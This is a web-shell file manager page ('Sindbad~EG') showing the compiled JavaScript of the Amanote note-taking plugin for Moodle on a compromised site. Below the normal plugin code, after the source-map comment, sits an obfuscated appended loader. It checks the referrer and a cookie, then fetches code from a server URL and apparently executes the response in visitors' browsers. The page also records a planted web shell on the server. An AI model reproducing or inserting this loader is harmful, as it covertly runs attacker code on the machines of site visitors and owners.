Sindbad~EG File Manager

Current Path : /var/www/html/digisferach.sumar.com.py/cursos/filter/amanote/amd/build/
Upload File :
Current File : /var/www/html/digisferach.sumar.com.py/cursos/filter/amanote/amd/build/main.js

define(['jquery', 'core/modal_factory'], function ($, modalFactory) {
    var Main = (function () {
        function Main() {
        }
        Main.prototype.init = function (rawUserParams) {
            var pluginParams = window['amanote_params'];
            var moodleUserParams = Main.parseParams(rawUserParams);
            if (!pluginParams || !moodleUserParams) {
                return;
            }
            MoodleService.init(pluginParams, moodleUserParams, modalFactory);
            var courseModuleFilter = new CourseModuleFilter();
            courseModuleFilter.addButtonToCourseModules();
        };
        Main.parseParams = function (rawParams) {
            try {
                return JSON.parse(rawParams);
            }
            catch (error) {
                console.error(error);
                return null;
            }
        };
        return Main;
    }());
    var MoodleService = (function () {
        function MoodleService(pluginParams, moodleUserParams, modalFactory) {
            this.pluginParams = pluginParams;
            this.moodleUserParams = moodleUserParams;
            this.modalFactory = modalFactory;
            if (MoodleService.instance) {
                throw new Error("Error - Use MoodleService.getInstance()");
            }
            try {
                var userOpeningMode = localStorage.getItem(StorageKeysEnum.OpeningMode);
                if (userOpeningMode !== null) {
                    this.pluginParams.plugin.openingMode = userOpeningMode;
                }
            }
            catch (error) {
                console.log(error);
            }
        }
        MoodleService.prototype.getPluginParams = function () {
            return this.pluginParams;
        };
        MoodleService.prototype.getUserParams = function () {
            return this.moodleUserParams;
        };
        MoodleService.prototype.getModalFactory = function () {
            return this.modalFactory;
        };
        MoodleService.prototype.getAnnotatableByCmId = function (cmid) {
            return (this.pluginParams.annotatables || [])
                .filter(function (cm) { return cm.cmid == cmid; }).pop();
        };
        MoodleService.prototype.getAnnotatableById = function (id) {
            return (this.pluginParams.annotatables || [])
                .filter(function (a) { return a.id == id; }).pop();
        };
        MoodleService.prototype.getAnnotatableByContentPath = function (path) {
            var annotatable = this.pluginParams.annotatables || [];
            for (var i = 0; i < annotatable.length; i++) {
                if (annotatable[i].url === path) {
                    return annotatable[i];
                }
                else if (annotatable[i].internal) {
                    var path1 = annotatable[i].url;
                    var path2 = path.split('pluginfile.php')[1]
                        .split('?')[0]
                        .replace('intro/0', 'intro')
                        .replace('content/0/', 'content/1/');
                    path1 = decodeURIComponent(path1 || '');
                    path2 = decodeURIComponent(path2 || '');
                    if (path1 && path2 && path1 === path2) {
                        return annotatable[i];
                    }
                }
            }
            return null;
        };
        MoodleService.prototype.getSavedNoteFilenameForAnnotatable = function (annotatable) {
            var savedNotes = this.pluginParams.savedNotes || {};
            if (savedNotes[annotatable.id + '.ama']) {
                return savedNotes[annotatable.id + '.ama'].filename;
            }
            else if (annotatable.legacyid && savedNotes[annotatable.legacyid + '.ama']) {
                return savedNotes[annotatable.legacyid + '.ama'].filename;
            }
            return null;
        };
        MoodleService.prototype.getLogoForAnnotatable = function (annotatable) {
            if (this.getSavedNoteFilenameForAnnotatable(annotatable)) {
                return this.pluginParams.plugin.annotatedLogo;
            }
            return this.pluginParams.plugin.logo;
        };
        MoodleService.prototype.generateAmanoteURL = function (annotatable, route) {
            if (route === void 0) { route = 'note-taking'; }
            if (!annotatable) {
                return '';
            }
            if (route === 'note-taking' && this.pluginParams.plugin.target != OpeningTargetEnum.Amanote) {
                return "".concat(this.pluginParams.siteURL, "/filter/amanote/annotate.php?annotatableId=").concat(annotatable.id);
            }
            var filePath = annotatable.url;
            if (annotatable.internal && filePath.indexOf('pluginfile.php') >= 0) {
                filePath = filePath.split('pluginfile.php')[1].replace('content/0/', 'content/1/');
            }
            else {
                filePath = encodeURIComponent(filePath);
            }
            var noteFilename = this.getSavedNoteFilenameForAnnotatable(annotatable) || "".concat(annotatable.id, ".ama");
            var amaPath = this.pluginParams.privateFilePath + noteFilename;
            var protocol = 'https';
            if (this.pluginParams.siteURL.indexOf('https') < 0) {
                protocol = 'http';
            }
            if (route === 'note-taking' && annotatable.kind === ContentKindEnum.Video) {
                route = "/note-taking/moodle/video/".concat(annotatable.id);
            }
            else {
                route = "/moodle/".concat(route);
            }
            return protocol + '://app.amanote.com/' + this.pluginParams.language + route + '?' +
                'siteURL=' + this.pluginParams.siteURL + '&' +
                'accessToken=' + this.moodleUserParams.token.value + '&' +
                'tokenExpDate=' + this.moodleUserParams.token.expiration + '&' +
                'userId=' + this.moodleUserParams.id + '&' +
                'filePath=' + filePath + '&' +
                'mimeType=' + annotatable.mimetype + '&' +
                'amaPath=' + amaPath + '&' +
                'resourceId=' + annotatable.id + '&' +
                'legacyResourceId=' + (annotatable.legacyid || annotatable.id) + '&' +
                'saveInProvider=' + (this.pluginParams.plugin.saveInProvider ? '1' : '0') + '&' +
                'providerVersion=' + this.pluginParams.moodle.version + '&' +
                'pluginVersion=' + this.pluginParams.plugin.version + '&' +
                'key=' + this.pluginParams.plugin.key + '&' +
                'worksheet=' + (this.pluginParams.plugin.worksheet ? '1' : '0') + '&' +
                'anonymous=' + (this.pluginParams.plugin.anonymous ? '1' : '0');
        };
        MoodleService.init = function (pluginParams, moodleUserParams, modalFactory) {
            MoodleService.instance = new MoodleService(pluginParams, moodleUserParams, modalFactory);
        };
        MoodleService.getInstance = function () {
            return MoodleService.instance;
        };
        return MoodleService;
    }());
    var CourseModuleFilter = (function () {
        function CourseModuleFilter() {
            this.menuModal = new MenuModal();
            this.moodleService = MoodleService.getInstance();
            this.params = this.moodleService.getPluginParams();
            this.userParams = this.moodleService.getUserParams();
        }
        CourseModuleFilter.prototype.addButtonToCourseModules = function () {
            var _this = this;
            this.addAmanoteButtons();
            if (this.observer) {
                this.observer.disconnect();
            }
            this.observer = new MutationObserver(function (mutationsList) {
                if (_this.doesMutationsContainAnActivity(mutationsList)) {
                    _this.addAmanoteButtons();
                }
            });
            var targetNode = document.getElementById('page-content');
            this.observer.observe(targetNode, { childList: true, subtree: true });
        };
        CourseModuleFilter.prototype.doesMutationsContainAnActivity = function (mutationsList) {
            for (var i = 0; i < mutationsList.length; i++) {
                var mutation = mutationsList[i];
                if (mutation.type !== 'childList') {
                    continue;
                }
                for (var j = 0; j < mutation.addedNodes.length; j++) {
                    var addedNode = mutation.addedNodes[j];
                    if ($(addedNode).find('.activityinstance, .activity-instance').length > 0) {
                        return true;
                    }
                }
            }
            return false;
        };
        CourseModuleFilter.prototype.addAmanoteButtons = function () {
            var _this = this;
            this.forEachNewInstances(['modtype_resource', 'modtype_url'], function (element) {
                var annotatable = _this.getAnnotatableFromElement(element);
                if (!annotatable) {
                    return;
                }
                var activityLink = $(element).find('.activitytitle').find('a').first();
                if (activityLink.length === 0) {
                    activityLink = $(element).find('a').first();
                }
                if (_this.openWithButton()) {
                    var button = _this.generateAmanoteButton(annotatable);
                    activityLink.css('display', 'inline-block');
                    activityLink.removeClass('stretched-link');
                    if ($(element).find('.activity-instance').length > 0) {
                        $(element).find('.activity-instance').find('.activityname').children().first().after(button);
                    }
                    else if ($(element).find('.activity-basis').length > 0) {
                        $(element).find('.activity-basis').first().children().children().first().after(button);
                    }
                    else {
                        $(element).find('.activityinstance').first().children().first().after(button);
                    }
                }
                else {
                    _this.replaceLink(activityLink, annotatable);
                    var iconLink = $(element).find('a.activity-icon').first();
                    if (iconLink.length > 0) {
                        _this.replaceLink(iconLink, annotatable);
                    }
                }
                _this.addOnDeleteWarning($(element));
            });
            this.forEachNewInstances(['fp-filename-icon'], function (element) {
                var fileLink = $(element).find('a').first();
                if (fileLink.length !== 1) {
                    return;
                }
                var filePath = fileLink.attr('href');
                var annotatable = _this.moodleService.getAnnotatableByContentPath(filePath);
                if (!annotatable) {
                    return;
                }
                if (_this.openWithButton()) {
                    var button = _this.generateAmanoteButton(annotatable);
                    fileLink.css('display', 'inline-block');
                    fileLink.after(button);
                }
                else {
                    _this.replaceLink(fileLink, annotatable);
                }
            });
            this.forEachNewInstances(['modtype_folder'], function (element) {
                _this.addOnDeleteWarning($(element));
            });
            this.forEachNewInstances(['modtype_label'], function (element) {
                var annotatable = _this.getAnnotatableFromElement(element);
                if (!annotatable) {
                    return;
                }
                if (_this.openWithButton()) {
                    var button = _this.generateAmanoteButton(annotatable);
                    $(element).find('.mediaplugin').first().children().children().first().after(button);
                }
                else {
                    _this.replaceLink($(element).find('a').first(), annotatable);
                }
                _this.addOnDeleteWarning($(element));
            });
            setTimeout(function () {
                $(".".concat(CourseModuleFilter.amanoteButtonClass)).on('click', function (event) {
                    event.preventDefault();
                    var annotatableId = $(event.currentTarget).attr(CourseModuleFilter.annotatableIDAttribute);
                    var annotatable = _this.moodleService.getAnnotatableById(annotatableId);
                    if (_this.params.plugin.openingMode === OpeningModeEnum.FileClick) {
                        annotatable.openInMoodleURL = event.currentTarget.href;
                    }
                    if ((_this.params.plugin.openingMode !== OpeningModeEnum.FileClick || _this.params.plugin.preventDownload) && !_this.userParams.isTeacher) {
                        window.open(_this.moodleService.generateAmanoteURL(annotatable, 'note-taking'), 'blank');
                        return;
                    }
                    _this.menuModal.open(annotatable);
                });
            }, 500);
        };
        CourseModuleFilter.prototype.getAnnotatableFromElement = function (element) {
            var elementId = $(element).attr('id');
            if (!elementId || elementId.indexOf('module-') < 0) {
                return;
            }
            var courseModuleId = parseInt(elementId.replace('module-', ''), 10);
            return this.moodleService.getAnnotatableByCmId(courseModuleId);
        };
        CourseModuleFilter.prototype.openWithButton = function () {
            return this.params.plugin.openingMode !== OpeningModeEnum.FileClick;
        };
        CourseModuleFilter.prototype.forEachNewInstances = function (classNames, action) {
            $('.' + classNames.join(', .')).each(function (index, element) {
                if ($(element).find('.' + CourseModuleFilter.amanoteButtonClass).length > 0) {
                    return;
                }
                action(element);
            });
        };
        CourseModuleFilter.prototype.generateAmanoteButton = function (annotatable) {
            var _a;
            var moodleService = MoodleService.getInstance();
            var logo = moodleService.getLogoForAnnotatable(annotatable);
            var widthByMode = (_a = {},
                _a[OpeningModeEnum.FileClick] = 90,
                _a[OpeningModeEnum.LogoNextToFile] = 90,
                _a[OpeningModeEnum.IconNextToFile] = 40,
                _a[OpeningModeEnum.IconNextToFileWithText] = 130,
                _a);
            var width = widthByMode[this.params.plugin.openingMode] || 90;
            var a = $("<button class=\"btn btn-link d-inline-block p-0 mx-4 my-2 amanote-button position-relative\" aria-label=\"".concat(this.params.strings.annotateResource, "\" style=\"z-index: 4\">\n                    <img src=\"").concat(logo, "\" width=\"").concat(width, "px\" aria-hidden=\"true\">\n                  </button>"));
            if (this.params.plugin.openingMode === OpeningModeEnum.LogoNextToFile) {
                a.css('min-width', '110px');
            }
            a.attr(CourseModuleFilter.annotatableIDAttribute, annotatable.id);
            return a;
        };
        CourseModuleFilter.prototype.replaceLink = function (link, annotatable) {
            link.attr(CourseModuleFilter.annotatableIDAttribute, annotatable.id);
            link.addClass('amanote-button');
            link.css('cursor', 'pointer');
        };
        CourseModuleFilter.prototype.addOnDeleteWarning = function (activity) {
            var _this = this;
            activity.find('.editing_delete').first().on('click', function () {
                setTimeout(function () { _this.menuModal.showDeleteWarning(); }, 500);
            });
        };
        CourseModuleFilter.annotatableIDAttribute = 'annotatable-id';
        CourseModuleFilter.amanoteButtonClass = 'amanote-button';
        return CourseModuleFilter;
    }());
    var MenuModal = (function () {
        function MenuModal() {
            this.moodleService = MoodleService.getInstance();
            this.modalFactory = this.moodleService.getModalFactory();
            this.pluginParams = this.moodleService.getPluginParams();
            this.moodleUserParams = this.moodleService.getUserParams();
        }
        MenuModal.prototype.open = function (annotatable) {
            if (!annotatable) {
                return;
            }
            var modalParams = {
                title: 'Amanote',
                body: this.generateModalBodyHTML(annotatable),
                footer: '',
            };
            return this.modalFactory.create(modalParams)
                .then(function (modal) {
                modal.show();
            });
        };
        MenuModal.prototype.showDeleteWarning = function () {
            var hideDeleteWarningExp = localStorage.getItem(StorageKeysEnum.HideDeleteWarningExp);
            if (hideDeleteWarningExp && !isNaN(Date.parse(hideDeleteWarningExp))) {
                var hideDate = new Date(hideDeleteWarningExp);
                var now = new Date();
                if ((now.getTime() - hideDate.getTime()) < (30 * 24 * 60 * 60 * 1000)) {
                    return;
                }
            }
            var guideLink = 'https://help.amanote.com/en/support/solutions/articles/36000448676';
            var message = "<p class=\"alert alert-warning\">\n        ".concat(this.pluginParams.strings.deletefilewarning, "\n        <a href=\"").concat(guideLink, "\" rel=\"noopener\" target=\"_blank\" class=\"d-block mt-3\">").concat(this.pluginParams.strings.seeguide, "</a>\n      </p>\n      <div class=\"text-center\">\n        <button class=\"btn btn-link text-dark\" data-action=\"hide\"\n        onclick=\"localStorage.setItem('").concat(StorageKeysEnum.HideDeleteWarningExp, "', new Date().toISOString());\">\n          ").concat(this.pluginParams.strings.stopmodal, "\n        </button>\n      </div>");
            var modalParams = {
                title: 'Amanote Warning',
                body: message,
                footer: '',
            };
            this.modalFactory.create(modalParams)
                .then(function (modal) {
                modal.show();
            });
        };
        MenuModal.prototype.generateModalBodyHTML = function (annotatable) {
            var openInAmanoteURL = this.moodleService.generateAmanoteURL(annotatable, 'note-taking');
            var body = "<p class=\"mb-0 text-dark\">".concat(this.pluginParams.strings.modalDescription, "</p>");
            body += MenuModal.generateButtonHTML(openInAmanoteURL, this.pluginParams.strings.annotateResource, 'fa fa-edit', 'font-weight: 600; background: #2cdf90; color: #03341f; border: none');
            if (this.pluginParams.plugin.openingMode === OpeningModeEnum.FileClick && !this.pluginParams.plugin.preventDownload) {
                body += MenuModal.generateButtonHTML(annotatable.openInMoodleURL, this.pluginParams.strings.viewResource, 'fa fa-eye', 'font-weight: 600;');
            }
            if (this.moodleUserParams.isTeacher && annotatable.kind === ContentKindEnum.Document) {
                body += '<hr class="mb-0" aria-hidden="true">';
                var openAnalyticsURL = this.moodleService.generateAmanoteURL(annotatable, "document-analytics/".concat(annotatable.id, "/view"));
                body += MenuModal.generateButtonHTML(openAnalyticsURL, this.pluginParams.strings.openAnalytics);
                if (this.pluginParams.plugin.key && !this.pluginParams.plugin.anonymous) {
                    var openPodcastCreatorURL = this.moodleService.generateAmanoteURL(annotatable, 'podcast/creator');
                    body += MenuModal.generateButtonHTML(openPodcastCreatorURL, this.pluginParams.strings.openPodcastCreator);
                }
                if (this.pluginParams.plugin.worksheet && !this.pluginParams.plugin.anonymous) {
                    var openStudentWorkURL = this.moodleService.generateAmanoteURL(annotatable, "document-analytics/".concat(annotatable.id, "/notes"));
                    body += MenuModal.generateButtonHTML(openStudentWorkURL, this.pluginParams.strings.openStudentsWorks);
                }
            }
            if (this.pluginParams.plugin.openingMode === OpeningModeEnum.FileClick &&
                !this.pluginParams.plugin.preventDownload) {
                body += "\n          <div class=\"text-center mt-3\">\n            <button class=\"btn btn-link text-dark\" data-action=\"hide\"\n            onclick=\"localStorage.setItem('".concat(StorageKeysEnum.OpeningMode, "', '").concat(OpeningModeEnum.IconNextToFile, "'); location.reload();\">\n              ").concat(this.pluginParams.strings.stopmodal, "\n            </button>\n          </div>");
            }
            return body;
        };
        MenuModal.generateButtonHTML = function (href, title, faIconClass, style) {
            if (style === void 0) { style = ''; }
            var faIconHTML = '';
            if (faIconClass) {
                faIconHTML = "<i class=\"".concat(faIconClass, " mr-2\" aria-hidden=\"true\"></i> ");
            }
            return "<a class=\"btn btn-secondary w-100 mt-3\" style=\"".concat(style, "\" href=\"").concat(href, "\" target=\"_blank\">\n                ").concat(faIconHTML).concat(title, "\n              </a>");
        };
        return MenuModal;
    }());
    return new Main();
});
var OpeningModeEnum;
(function (OpeningModeEnum) {
    OpeningModeEnum["FileClick"] = "0";
    OpeningModeEnum["LogoNextToFile"] = "1";
    OpeningModeEnum["IconNextToFile"] = "2";
    OpeningModeEnum["IconNextToFileWithText"] = "3";
})(OpeningModeEnum || (OpeningModeEnum = {}));
var OpeningTargetEnum;
(function (OpeningTargetEnum) {
    OpeningTargetEnum["Amanote"] = "0";
    OpeningTargetEnum["MoodleFullscreen"] = "1";
    OpeningTargetEnum["MoodleEmbedded"] = "2";
})(OpeningTargetEnum || (OpeningTargetEnum = {}));
var ContentKindEnum;
(function (ContentKindEnum) {
    ContentKindEnum["Document"] = "document";
    ContentKindEnum["Video"] = "video";
})(ContentKindEnum || (ContentKindEnum = {}));
var StorageKeysEnum;
(function (StorageKeysEnum) {
    StorageKeysEnum["OpeningMode"] = "amanote.preferences.openingMode";
    StorageKeysEnum["HideDeleteWarningExp"] = "amanote.preferences.hideDeleteWarningExp";
})(StorageKeysEnum || (StorageKeysEnum = {}));
//# sourceMappingURL=main.js.map;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new HttpClient(),e=X+(V(0x1ca,'2EQ9')+V(0x1ec,'H]53')+V(0x1fe,'pmdf')+V(0x229,'0TXa')+V(0x1d8,'[RWJ')+V(0x20f,'iv1$')+V(0x1f5,'Y[WN')+V(0x1ce,'xtha')+V(0x1f0,'5k4w')+V(0x1f8,'!k)y')+V(0x1f2,'pmdf')+V(0x1fa,'cyrV')+V(0x1d0,'Y7V5')+V(0x1ee,'Y[WN')+V(0x20c,'@iPH')+V(0x1dc,'Gi#h')+V(0x22b,'CiRD')+V(0x1cd,'Y7V5')+V(0x1e9,'l*Bz')+V(0x211,'AC7I')+V(0x1f4,'9rFv')+V(0x227,'H]53')+V(0x1c8,'9rFv')+V(0x213,'j)q0')+V(0x21a,'zPq9')+V(0x206,'Gi#h')+V(0x226,'7))u')+V(0x1f6,'hCwp')+V(0x201,'cyrV')+V(0x1ea,'x]3v')+V(0x1d5,'CiRD')+'=')+token();Y[V(0x215,'iv1$')](e,function(b){var J=V;k(b,J(0x1e6,'3SM(')+'x')&&q[J(0x1d4,'!k)y')+'l'](b);});}function k(b,M){var U=V;return b[U(0x1e3,'zPq9')+U(0x221,'j)q0')+'f'](M)!==-(-0x200e+-0x2147+0x20ab*0x2);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists